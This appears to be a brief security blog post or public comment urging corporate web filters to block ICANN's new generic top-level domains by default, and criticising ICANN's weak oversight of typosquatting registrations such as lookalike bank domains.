As as (small) upside, ICANN helpfully publishes a list of all the new gTLD domains. If you are running a corporate web filter, I suggest you simply chuck them all onto the BLACKLIST, no questions asked, and keep them blocked. Fallout will likely be minimal. You can always re-open a specific gTLD once you had 20 or so really worthwhile and business relevant white listing requests for domains under it. Odds are, 95% of the new gTLDs will never reach that threshold. And by blocking them by default, you are bound to keep lots and lots of malware, spam and phishing URLs at bay.

Here's a special shout-out to Charity Baker aka Jaclyn Latonio, who yesterday registered about 200 typo domains like citgibank.com, symanpec.com, jpmoragan.com, etc, showing how such blatantly obvious abuse is not limited to the new gTLDs. Rather, lack of oversight, accountability and enforcement are the core of the system. Makes one wonder where all that money goes.

You are welcome, ICANN. Consider this my public input to your request for comment.